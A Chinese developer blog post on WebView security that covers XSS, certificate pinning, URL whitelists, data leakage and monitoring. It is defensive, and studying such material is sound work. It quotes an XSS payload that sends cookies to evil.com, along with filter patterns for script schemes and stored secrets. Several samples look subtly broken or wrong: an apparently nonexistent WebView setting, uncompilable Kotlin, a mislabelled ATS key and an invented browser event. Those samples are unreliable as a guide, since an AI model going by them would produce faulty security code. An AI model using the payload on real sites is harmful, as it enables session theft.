WebView安全防护实战:从XSS到中间人攻击,我的踩坑与防御总结

在移动端开发中,WebView承载着越来越多的业务场景------从简单的H5页面展示到复杂的Hybrid架构,WebView早已成为App与Web世界沟通的桥梁。然而,便利的另一面是安全风险的放大。一旦WebView被攻破,攻击者可以获取用户敏感信息、劫持会话、甚至在App中执行任意代码。

本文是WebView实战系列的第10篇,我们将从真实踩坑案例出发,系统梳理WebView安全防护的关键要点,包括XSS防御、HTTPS证书校验、URL白名单、敏感信息保护等核心话题。

一、XSS攻击:WebView中最容易被忽视的威胁

1.1 为什么WebView更容易遭受XSS攻击

XSS(Cross-Site Scripting)本不是什么新鲜词汇,但在WebView场景下,攻击面被显著放大了。传统浏览器环境中,XSS攻击的后果通常局限在Web页面本身。但在WebView内嵌场景中,H5页面可以调用Native能力(通过JSBridge),这意味着XSS攻击的后果可能延伸到整个App。

一个典型的攻击链路是这样的:

复制代码
用户打开恶意网页 → 网页中存在XSS漏洞 → 攻击者注入恶意JS → 通过JSBridge调用Native能力 → 获取用户Cookie/Token/位置等敏感信息

1.2 场景一:URL参数注入导致JSBridge被滥用

踩坑经历 :我们曾接入一个第三方活动页面,页面URL中带有渠道标识参数?channel=xxx。某次运营活动中,攻击者通过短链接工具篡改了渠道参数值为<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>。虽然页面本身没有存储敏感Cookie,但该渠道的JSBridge暴露了用户手机号查询接口,最终导致用户手机号泄露。

问题根源 :WebView加载URL时,没有对URL中的参数进行安全校验;H5页面在渲染渠道信息时直接使用innerHTML而非textContent

防御方案

Android端 - URL预校验

kotlin 复制代码
class SecureWebViewClient : WebViewClient() {
    
    private val dangerousPatterns = listOf(
        Pattern.compile("<script[^>]*>", Pattern.CASE_INSENSITIVE),
        Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE),
        Pattern.compile("data:", Pattern.CASE_INSENSITIVE),
        Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE)
    )
    
    override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
        val url = request?.url?.toString() ?: return false
        
        // 检查URL中是否包含可疑的脚本注入
        for (pattern in dangerousPatterns) {
            if (pattern.matcher(url).find()) {
                Log.w("Security", "Blocked dangerous URL: $url")
                return true // 阻止加载
            }
        }
        
        // URL白名单校验(后面会详述)
        if (!UrlValidator.isAllowed(url)) {
            return true
        }
        
        return super.shouldOverrideUrlLoading(view, request)
    }
}

iOS端 - URL过滤

swift 复制代码
class SecureWKNavigationDelegate: NSObject, WKNavigationDelegate {
    
    private let dangerousSchemes = ["javascript", "data", "vbscript"]
    
    func webView(_ webView: WKWebView, 
                 decidePolicyFor navigationAction: WKNavigationAction,
                 decisionHandler: @escaping (WKNavigationActionPolicy) -> Void) {
        
        guard let url = navigationAction.request.url else {
            decisionHandler(.cancel)
            return
        }
        
        // 阻止危险scheme
        if let scheme = url.scheme?.lowercased(),
           dangerousSchemes.contains(scheme) {
            print("⚠️ Blocked dangerous scheme: \(scheme)")
            decisionHandler(.cancel)
            return
        }
        
        // URL白名单校验
        if !UrlValidator.shared.isAllowed(url: url) {
            decisionHandler(.cancel)
            return
        }
        
        decisionHandler(.allow)
    }
}

前端侧 - 输出转义

javascript 复制代码
// 危险写法
element.innerHTML = `渠道: ${channel}`;

// 安全写法
element.textContent = `渠道: ${channel}`;

// 如果必须使用innerHTML,必须做HTML转义
function escapeHtml(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

element.innerHTML = `渠道: ${escapeHtml(channel)}`;

1.3 场景二:WebView console API被劫持

踩坑经历 :某次安全扫描发现,攻击者可以通过恶意H5页面重写console对象的方法,劫持所有日志输出。在我们的App中,调试模式下打印了大量用户行为日志,虽然上线时关闭了console输出,但Android 4.4以下系统WebView的console劫持在某些场景下仍然生效。

防御方案

javascript 复制代码
// 在页面加载早期锁定console对象
(function() {
    if (!window._consoleSecure) {
        const originalConsole = { ...console };
        
        // 生产环境完全禁用console
        if (window.APP_ENV === 'production') {
            Object.keys(console).forEach(key => {
                console[key] = function() {};
            });
        } else {
            // 开发环境只禁用危险方法
            console.log = originalConsole.log;
            console.warn = originalConsole.warn;
            console.error = originalConsole.error;
            // 禁止重定向console输出
            console.info = originalConsole.info;
        }
    }
})();

二、HTTPS证书校验:防止中间人攻击的生死线

2.1 中间人攻击在WebView中的危害

中间人攻击(MITM)是公共WiFi环境下最常见的安全威胁。攻击者可以架设恶意热点,拦截并篡改WebView的网络请求。在没有证书校验的情况下,攻击者甚至可以伪造HTTPS站点,拿到明文数据。

我们曾遇到一个典型案例:用户反馈在咖啡厅连WiFi时,App内嵌的登录页面显示正常,但登录后收到陌生推送。后来定位发现是咖啡厅的路由器做了流量劫持,将登录请求转发到了仿冒服务器。

2.2 Android证书校验方案

方案一:CertificatePinner(推荐用于API请求)

kotlin 复制代码
class SecureApiClient : OkHttpClient.Builder() {
    
    private val pinnedCertificates = listOf(
        // SHA-256指纹,可通过 openssl s_client -connect api.example.com:443 | openssl x509 -pubkey | openssl rsa -pubin -outform d | openssl dgst -sha256 -binary | base64 获取
        "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
        "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB="
    )
    
    init {
        val certificatePinner = CertificatePinner.Builder()
            .add("api.example.com", *pinnedCertificates.toTypedArray())
            .build()
        
        this.certificatePinner(certificatePinner)
    }
}

方案二:WebView自定义TrustManager(谨慎使用)

kotlin 复制代码
object WebViewTrustManager {
    
    // 根证书(应用内置)
    private val trustedCaSet = setOf(
        // 导入正式CA证书的公钥指纹
        "sha256/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX="
    )
    
    fun createTrustManager(): X509TrustManager {
        return object : X509TrustManager {
            override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {
                // 客户端证书校验,通常不使用
            }
            
            override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {
                // 必须校验服务器证书
                if (chain.isEmpty()) {
                    throw SecurityException("Empty certificate chain")
                }
                
                val certificate = chain[0]
                val publicKey = certificate.publicKey
                
                // 计算证书公钥的SHA-256指纹
                val md = MessageDigest.getInstance("SHA-256")
                md.update(publicKey.encoded)
                val fingerprint = "sha256/${Base64.getEncoder().encodeToString(md.digest())}"
                
                if (!trustedCaSet.contains(fingerprint)) {
                    // 检查是否是系统信任的CA签发的
                    val trusted = try {
                        val systemTrustManager = TrustManagerFactory.getInstance(
                            TrustManagerFactory.getDefaultAlgorithm()
                        )
                        systemTrustManager.init(null as KeyStore?)
                        val x509Tm = systemTrustManager.trustManagers[0] as X509TrustManager
                        x509Tm.checkServerTrusted(chain, authType)
                        true
                    } catch (e: Exception) {
                        false
                    }
                    
                    if (!trusted) {
                        throw SecurityException("Untrusted certificate: $fingerprint")
                    }
                }
            }
            
            override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
        }
    }
}

// 使用
val sslContext = SSLContext.getInstance("TLSv1.2")
sslContext.init(null, arrayOf(WebViewTrustManager.createTrustManager()), SecureRandom())

val webView = WebView(context)
webView.settings.apply {
    // 关键配置:禁止使用系统默认的信任管理
    // 注意:这个配置在Android 24+会导致很多HTTPS站点无法访问
    // 建议只对特定域名强制校验,其他走系统默认
}

血的教训:上述方案在实际项目中使用时要格外小心。Android系统的证书信任链很复杂,内置了大量根CA。如果完全自定义TrustManager,很容易导致正常网站无法访问。建议做法是:

  1. 对涉及敏感操作的API域名启用证书固定
  2. 对普通页面仍然使用系统默认校验
  3. 提供用户友好的证书错误提示,而不是直接崩溃

2.3 iOS证书校验 - ATS配置

iOS的App Transport Security(ATS)提供了系统级的HTTPS强制校验能力:

xml 复制代码
<!-- Info.plist -->
<key>NSAppTransportSecurity</key>
<dict>
    <!-- 完全禁用ATS(不推荐) -->
    <key>NSAllowsArbitraryLoads</key>
    <false/>
    
    <!-- 细粒度配置 -->
    <key>NSExceptionDomains</key>
    <dict>
        <key>example.com</key>
        <dict>
            <!-- 该域名是否可以使用HTTP -->
            <key>NSExceptionAllowsInsecureHTTPLoads</key>
            <false/>
            <!-- 是否允许无效证书 -->
            <key>NSExceptionRequiresForwardSecrecy</key>
            <true/>
            <!-- TLS最低版本 -->
            <key>NSMinimumTLSVersion</key>
            <string>TLSv1.2</string>
        </dict>
    </dict>
</dict>

注意:2020年后App Store审核要求所有新上架App必须启用ATS。对于必须加载的HTTP资源,建议:

swift 复制代码
// 尽量使用HTTPS,如果必须使用HTTP,做好身份验证
if url.scheme == "http" {
    // 评估风险:如果是内网IP或白名单域名,可以允许
    // 如果是公网HTTP,必须有额外的安全措施
}

三、URL白名单机制:守住WebView的入口

3.1 为什么需要URL白名单

很多App的JSBridge会暴露Native能力给H5页面,如支付、定位、文件访问等。如果没有URL白名单限制,恶意网页可以通过任意URL调用这些能力,后果不堪设想。

3.2 白名单设计方案

推荐方案:基于域名的精确匹配

kotlin 复制代码
object UrlValidator {
    
    // 白名单域名配置(从服务端下发或本地配置)
    private val allowedDomains = setOf(
        "app.example.com",
        "h5.example.com",
        "activity.example.com",
        // 支持通配符子域名
        ".example.com"  // 以点开头表示匹配所有子域名
    )
    
    // 允许的URL scheme
    private val allowedSchemes = setOf("https")
    
    // 黑名单(优先级高于白名单)
    private val blockedPatterns = listOf(
        Regex(".*\\.evil\\.com.*"),
        Regex(".*phishing.*"),
        Regex(".*\\.tk$")  // 常见免费域名后缀
    )
    
    fun isAllowed(url: String): Boolean {
        return try {
            val parsed = URL(url)
            
            // 检查scheme
            if (!allowedSchemes.contains(parsed.protocol)) {
                return false
            }
            
            // 检查黑名单
            if (blockedPatterns.any { it.matches(url) }) {
                Log.w("Security", "URL matched blocklist: $url")
                return false
            }
            
            // 检查白名单
            val host = parsed.host ?: return false
            val domain = if (host.startsWith("www.")) host.substring(4) else host
            
            allowedDomains.any { allowed ->
                when {
                    allowed.startsWith(".") -> {
                        // 通配符匹配
                        domain.endsWith(allowed) || domain == allowed.substring(1)
                    }
                    else -> {
                        // 精确匹配
                        domain == allowed || domain.endsWith(".${allowed}")
                    }
                }
            }
        } catch (e: Exception) {
            Log.e("Security", "URL parse error: $url", e)
            false
        }
    }
    
    // 增量更新白名单(从服务端获取最新配置)
    fun updateFromServer(config: List<String>) {
        allowedDomains.clear()
        allowedDomains.addAll(config)
    }
}

3.3 深层链接的安全校验

kotlin 复制代码
// 处理App Link和Universal Link
override fun handleDeepLink(intent: Intent): Boolean {
    val data = intent.data ?: return false
    
    // 必须校验host
    if (!UrlValidator.isAllowed(data.toString())) {
        Log.w("Security", "Blocked deep link from untrusted domain: $data")
        return false
    }
    
    // 校验path(防止通过path注入攻击)
    val path = data.path ?: "/"
    val allowedPaths = listOf(
        "^/product/\\d+$",      // 商品详情
        "^/order/\\d+$",       // 订单详情
        "^/user/profile$"      // 用户中心
    )
    
    val pathAllowed = allowedPaths.any { 
        Regex(it).matches(path) 
    }
    
    if (!pathAllowed) {
        Log.w("Security", "Deep link path not allowed: $path")
        return false
    }
    
    // 清理URL参数(防止XSS)
    val cleanUri = cleanUriParams(data)
    
    // 业务处理...
    return true
}

private fun cleanUriParams(uri: Uri): Uri {
    val builder = uri.buildUpon()
    builder.clearQuery()
    
    uri.queryParameterNames.forEach { name ->
        val value = uri.getQueryParameter(name) ?: return@forEach
        // 参数值转义
        builder.appendQueryParameter(
            name,
            Uri.encode(Uri.decode(value))
        )
    }
    
    return builder.build()
}

四、敏感信息防泄露:看不见的风险最可怕

4.1 密码框安全

踩坑经历:某次安全评估发现,我们App内的密码输入框存在截屏风险。用户开启系统截屏功能后,密码可能被应用外截取。更严重的是,某些第三方键盘会缓存用户输入。

防御方案

kotlin 复制代码
// Android - 使用SecureEditText
class SecureEditText(context: Context, attrs: AttributeSet?) : AppCompatEditText(context, attrs) {
    
    init {
        // 禁用系统截屏
        if (context is Activity) {
            context.window.setFlags(
                WindowManager.LayoutParams.FLAG_SECURE,
                WindowManager.LayoutParams.FLAG_SECURE
            )
        }
        
        // 配置输入类型
        inputType = InputType.TYPE_CLASS_TEXT or 
                    InputType.TYPE_TEXT_VARIATION_PASSWORD or
                    InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS
        
        // 禁用剪贴板
        setCustomSelectionActionModeCallback(object : ActionMode.Callback {
            override fun onCreateActionMode(mode: ActionMode?, menu: Menu?): Boolean = false
            override fun onPrepareActionMode(mode: ActionMode?, menu: Menu?) = false
            override fun onActionItemClicked(mode: ActionMode?, item: MenuItem?): Boolean = false
            override fun onDestroyActionMode(mode: ActionMode?) {}
        })
        
        // 禁用长按菜单
        isLongClickable = false
    }
    
    override fun onCreateInputConnection(outAttrs: EditorInfo?) {
        super.onCreateInputConnection(outAttrs)
        outAttrs?.apply {
            // 禁用自动补全
            inputType = InputType.TYPE_CLASS_TEXT or 
                        InputType.TYPE_TEXT_VARIATION_PASSWORD or
                        InputType.TYPE_TEXT_FLAG_NO_SUGGESTIONS
        }
    }
}

// WebView中处理密码输入
webView.evaluateJavascript("""
    (function() {
        document.querySelectorAll('input[type="password"]').forEach(function(input) {
            // 禁用浏览器自动填充
            input.setAttribute('autocomplete', 'off');
            input.setAttribute('autocorrect', 'off');
            input.setAttribute('autocapitalize', 'off');
            input.setAttribute('spellcheck', 'false');
        });
    })();
""", null)

iOS SafariViewController密码保护

swift 复制代码
// iOS使用SafariServices进行敏感操作
import SafariServices

func openSecurePage(url: URL) {
    let config = SFSafariViewController.Configuration()
    config.entersReaderIfAvailable = false
    config.barCollapsingEnabled = true
    
    let safari = SFSafariViewController(url: url, configuration: config)
    safari.preferredControlTintColor = .systemBlue
    
    present(safari, animated: true)
}

4.2 剪贴板风险

kotlin 复制代码
// Android - 禁用WebView的剪贴板访问
webView.settings.apply {
    // Android 11+默认禁用,之前的版本需要显式设置
    setAllowAccessFromJavaJSBridge(false)  // 这个方法名有误导,实际是控制JS能否访问Native
}

// 前端 - 敏感内容写入剪贴板时自动清除
document.addEventListener('copy', function(e) {
    // 5分钟后自动清除剪贴板(如果复制了敏感信息)
    setTimeout(() => {
        navigator.clipboard.writeText('');
    }, 5 * 60 * 1000);
});

4.3 键盘监听与日志脱敏

踩坑经历 :我们曾接到用户投诉,说在App内搜索框输入的内容被第三方输入法"记住"了。虽然这不算严格意义上的安全漏洞,但涉及用户隐私。后来发现是输入法云词库功能,需要在输入框配置autocomplete="off"

日志脱敏最佳实践

kotlin 复制代码
object LogSanitizer {
    
    // 需要脱敏的字段
    private val sensitiveFields = setOf(
        "password", "token", "secret", 
        "idCard", "bankCard", "phone", "email",
        "Authorization", "Cookie"
    )
    
    // 脱敏规则
    fun sanitize(key: String, value: String?): String {
        if (value == null) return "null"
        
        val lowerKey = key.lowercase()
        if (sensitiveFields.any { lowerKey.contains(it) }) {
            return "***SENSITIVE***"
        }
        
        // 手机号中间4位脱敏
        if (lowerKey.contains("phone") || lowerKey.contains("mobile")) {
            return if (value.length >= 7) {
                "${value.substring(0, 3)}****${value.substring(value.length - 4)}"
            } else {
                "***"
            }
        }
        
        return value
    }
    
    // WebView日志拦截器
    fun createWebViewLogInterceptor(): WebViewClient() {
        return object : WebViewClient() {
            override fun onPageStarted(view: WebView?, url: String?) {
                Log.d("WebView", "Page started: $url")
            }
            
            override fun onPageFinished(view: WebView?, url: String?) {
                Log.d("WebView", "Page finished: $url")
            }
        }
    }
}

五、其他安全配置:容易被忽略的细节

5.1 危险配置项大盘点

kotlin 复制代码
webView.settings.apply {
    // 🔴 危险:允许文件访问
    // 可能导致file://协议下的本地文件被JS读取
    allowFileAccess = false  // 必须关闭,除非有特殊需求
    
    // 🔴 危险:允许通过file://协议加载其他资源
    // file://协议页面可以访问所有本地文件
    allowFileAccessFromFileURLs = false  // 必须关闭
    
    // 🔴 危险:允许跨域访问
    allowUniversalAccessFromFileURLs = false  // 必须关闭
    
    // 🟡 注意:开启调试开关仅用于开发
    setWebContentsDebuggingEnabled(BuildConfig.DEBUG)
    
    // 🟡 注意:DOM存储可能包含敏感信息
    domStorageEnabled = true  // 根据业务需求决定
    
    // 🟢 推荐:启用安全模式
    // Android 21+,可以防止SSL错误被静默忽略
    mixedContentMode = WebSettings.MIXED_CONTENT_NEVER_ALLOW
    
    // 🟢 推荐:启用地理定位权限控制
    setGeolocationEnabled(true)  // 需要时开启
    
    // 🟢 推荐:禁用恶意插件
    pluginState = WebSettings.PluginState.OFF
}

5.2 混合内容处理

javascript 复制代码
// 前端检测混合内容
window.addEventListener('securityviolation', function(e) {
    console.error('Security violation detected:', e.violatedDirective);
    // 上报到监控系统
    reportSecurityIssue({
        type: 'mixed_content',
        url: window.location.href,
        violated: e.violatedDirective
    });
});

// 检测并阻止混合内容请求
(function() {
    // 遍历所有资源链接,检查是否有HTTP资源
    const mixedResources = [];
    
    ['img', 'script', 'link', 'iframe'].forEach(tag => {
        document.querySelectorAll(tag).forEach(el => {
            const src = el.src || el.href;
            if (src && src.startsWith('http:')) {
                mixedResources.push({
                    tag: tag,
                    src: src
                });
            }
        });
    });
    
    if (mixedResources.length > 0) {
        console.warn('Mixed content detected:', mixedResources);
        // 替换为HTTPS或上报问题
        mixedResources.forEach(r => {
            const secureUrl = r.src.replace('http:', 'https:');
            // 验证HTTPS资源可用后再替换
            fetch(secureUrl, { method: 'HEAD' })
                .then(() => {
                    if (r.tag === 'script') {
                        // 替换script
                    }
                })
                .catch(() => {
                    // HTTPS不可用,记录问题
                    reportSecurityIssue({
                        type: 'insecure_resource',
                        resource: r.src
                    });
                });
        });
    }
})();

5.3 WebView与Native的安全边界

kotlin 复制代码
// 暴露给JS的方法必须做权限校验
class AppJSBridge {
    
    @JavascriptInterface
    fun callNative(method: String, params: String): String {
        // 方法白名单
        val allowedMethods = setOf(
            "getUserInfo",
            "getLocation",
            "share",
            "pay"
        )
        
        if (!allowedMethods.contains(method)) {
            return """{"error": "method not allowed"}"""
        }
        
        // 参数校验
        val parsedParams = try {
            JSONObject(params)
        } catch (e: Exception) {
            return """{"error": "invalid params"}"""
        }
        
        // 业务逻辑...
        return """{"success": true}"""
    }
    
    @JavascriptInterface
    fun getDeviceId(): String {
        // 敏感方法必须二次验证
        if (!hasUserConsent()) {
            return ""
        }
        return DeviceIdManager.getDeviceId()
    }
    
    private fun hasUserConsent(): Boolean {
        // 检查用户是否已授权
        return sharedPreferences.getBoolean("privacy_consent", false)
    }
}

// 注册时使用安全的WebView
webView.addJavascriptInterface(AppJSBridge(), "Native")

六、安全监控与应急响应

安全防护不能只靠防御,还需要建立监控和应急机制。及时发现安全异常,才能把损失降到最低。

6.1 WebView安全事件监控

kotlin 复制代码
class SecurityMonitor private constructor() {
    
    companion object {
        val instance = SecurityMonitor()
        
        // 安全事件类型
        const val EVENT_XSS_SUSPECTED = "xss_suspected"
        const val EVENT_UNTRUSTED_URL = "untrusted_url"
        const val EVENT_CERT_ERROR = "cert_error"
        const val EVENT_FILE_ACCESS_BLOCKED = "file_access_blocked"
        const val EVENT_JSBRIDGE_ABUSE = "jsbridge_abuse"
    }
    
    // 事件上报
    fun reportEvent(type: String, detail: Map<String, Any>) {
        val event = SecurityEvent(
            type = type,
            timestamp = System.currentTimeMillis(),
            url = WebViewContextHolder.currentUrl,
            detail = detail
        )
        
        // 根据事件等级决定处理方式
        when (getEventLevel(type)) {
            EventLevel.CRITICAL -> {
                // 立即上报,可能需要强制退出WebView
                uploadImmediately(event)
                notifyAppSecurity(event)
            }
            EventLevel.HIGH -> {
                // 批量上报,降低频率
                batchReport(event)
            }
            EventLevel.MEDIUM, EventLevel.LOW -> {
                // 本地记录,定期上报
                localLog(event)
            }
        }
    }
    
    // 安全告警弹窗
    private fun notifyAppSecurity(event: SecurityEvent) {
        if (event.type == EVENT_CERT_ERROR || event.type == EVENT_UNTRUSTED_URL) {
            // 弹出安全提示,让用户选择是否继续
            showSecurityDialog(event)
        }
    }
    
    private fun showSecurityDialog(event: SecurityEvent) {
        runOnUiThread {
            AlertDialog.Builder(context)
                .setTitle("安全警告")
                .setMessage("检测到潜在安全风险,建议关闭页面。如需继续,请注意保护个人信息。")
                .setPositiveButton("关闭页面") { _, _ ->
                    webView?.stopLoading()
                    webView?.loadUrl("about:blank")
                }
                .setNegativeButton("继续访问") { _, _ ->
                    // 仅在用户明确知情的情况下允许
                    Log.w("Security", "User chose to continue despite warning")
                }
                .show()
        }
    }
}

6.2 定期安全扫描

javascript 复制代码
// 在WebView中定期执行安全扫描
class WebViewSecurityScanner {
    
    constructor(webView) {
        this.webView = webView;
        this.scanInterval = 5 * 60 * 1000; // 5分钟一次
    }
    
    start() {
        this.timer = setInterval(() => this.scan(), this.scanInterval);
    }
    
    stop() {
        if (this.timer) {
            clearInterval(this.timer);
        }
    }
    
    scan() {
        const issues = [];
        
        // 检查是否存在内联JS
        const scripts = document.querySelectorAll('script:not([src])');
        if (scripts.length > 0) {
            issues.push({
                type: 'inline_script',
                count: scripts.length,
                severity: 'medium'
            });
        }
        
        // 检查是否有eval使用
        const hasEval = document.querySelector('script')?.textContent?.includes('eval(');
        if (hasEval) {
            issues.push({
                type: 'dangerous_eval',
                severity: 'high'
            });
        }
        
        // 检查表单action是否HTTPS
        const insecureForms = [];
        document.querySelectorAll('form').forEach(form => {
            const action = form.getAttribute('action');
            if (action && action.startsWith('http:')) {
                insecureForms.push(action);
            }
        });
        if (insecureForms.length > 0) {
            issues.push({
                type: 'insecure_form',
                actions: insecureForms,
                severity: 'high'
            });
        }
        
        // 检查localStorage/sessionStorage中的敏感数据
        ['localStorage', 'sessionStorage'].forEach(storageType => {
            try {
                const storage = window[storageType];
                for (let i = 0; i < storage.length; i++) {
                    const key = storage.key(i);
                    if (/token|password|secret|key/i.test(key)) {
                        issues.push({
                            type: 'sensitive_storage',
                            storage: storageType,
                            key: key
                        });
                    }
                }
            } catch (e) {
                // 可能被禁用
            }
        });
        
        if (issues.length > 0) {
            this.report(issues);
        }
    }
    
    report(issues) {
        // 上报到安全监控系统
        console.warn('WebView security scan found issues:', issues);
        
        // 通过JSBridge上报
        if (window.Native && window.Native.reportSecurityIssue) {
            window.Native.reportSecurityIssue(JSON.stringify({
                url: window.location.href,
                issues: issues
            }));
        }
    }
}

6.3 应急响应预案

kotlin 复制代码
// 重大安全事件响应
object SecurityEmergency {
    
    // 预定义的安全事件响应策略
    fun handleEmergency(type: EmergencyType) {
        when (type) {
            EmergencyType.JSBRIDGE_LEAK -> {
                // 立即关闭JSBridge
                disableJSBridge()
                // 清除已暴露的数据
                clearExposedData()
                // 强制下线受影响用户
                forceLogoutAffectedUsers()
            }
            
            EmergencyType.MAN_IN_MIDDLE -> {
                // 终止所有WebView网络请求
                cancelAllRequests()
                // 显示安全警告
                showMITMWarning()
                // 引导用户修改密码
                promptPasswordChange()
            }
            
            EmergencyType.XSS_MASS_INJECTION -> {
                // 关闭被注入的页面
                closeInjectedPages()
                // 清除WebView缓存
                clearWebViewCache()
                // 批量下线并通知用户
                notifyUsers()
            }
        }
    }
    
    private fun disableJSBridge() {
        webView?.settings?.javaScriptEnabled = false
    }
    
    private fun clearExposedData() {
        // 清除可能泄露的数据
        WebViewDatabase.getInstance(context).clearUsernamePassword()
        WebViewDatabase.getInstance(context).clearHttpAuthUsernamePassword()
    }
}

七、总结:构建纵深防御体系

WebView安全不是单一措施能解决的,需要构建多层防护体系:

层次 防护措施 优先级
网络层 HTTPS强制 + 证书固定 P0
入口层 URL白名单 + scheme过滤 P0
注入层 XSS防护 + 输入校验 P1
数据层 敏感信息脱敏 + 剪贴板控制 P1
配置层 危险开关关闭 + 最小权限 P1
监控层 安全日志 + 异常告警 P2

最后提醒几点:

  1. 安全配置要随着威胁演进持续更新,定期做安全审计
  2. 不要过度依赖前端校验,Native层必须做二次验证
  3. 用户体验与安全需要平衡,过于严格的安全策略可能影响正常使用
  4. 核心原则:用户输入不可信、服务器响应不可信、JSBridge调用必须鉴权

WebView安全的坑还有很多,本文只是抛砖引玉。希望大家在实践中多积累经验,也欢迎在评论区分享踩坑经历。

相关推荐
ZC跨境爬虫2 小时前
跟着 MDN 学 HTML day_41:(DOMParser 接口详解)
前端·javascript·ui·html·音视频
threelab2 小时前
Three.js 概率统计可视化 | 三维可视化 / AI 提示词
开发语言·javascript·人工智能
光影少年2 小时前
useLayoutEffect 和 useEffect 区别、使用场景
开发语言·前端·javascript
下雨打伞干嘛2 小时前
redux的使用
开发语言·javascript·ecmascript
small_white_robot2 小时前
idek-2022 web 全wp——持续更新
开发语言·前端·javascript·网络·安全·web安全·网络安全
sp422 小时前
NativeScript 5.1:直接集成 Objective-C 代码
前端·javascript
px不是xp2 小时前
【灶台导航】 RAG系统的容错设计:从向量搜索到关键词降级,一个都不能少
javascript·微信小程序·notepad++·rag
Sanri.2 小时前
JavaScript基础语法6
开发语言·javascript·ecmascript
hhb_6182 小时前
JavaScript核心技术要点梳理与实战应用案例解析
开发语言·javascript·ecmascript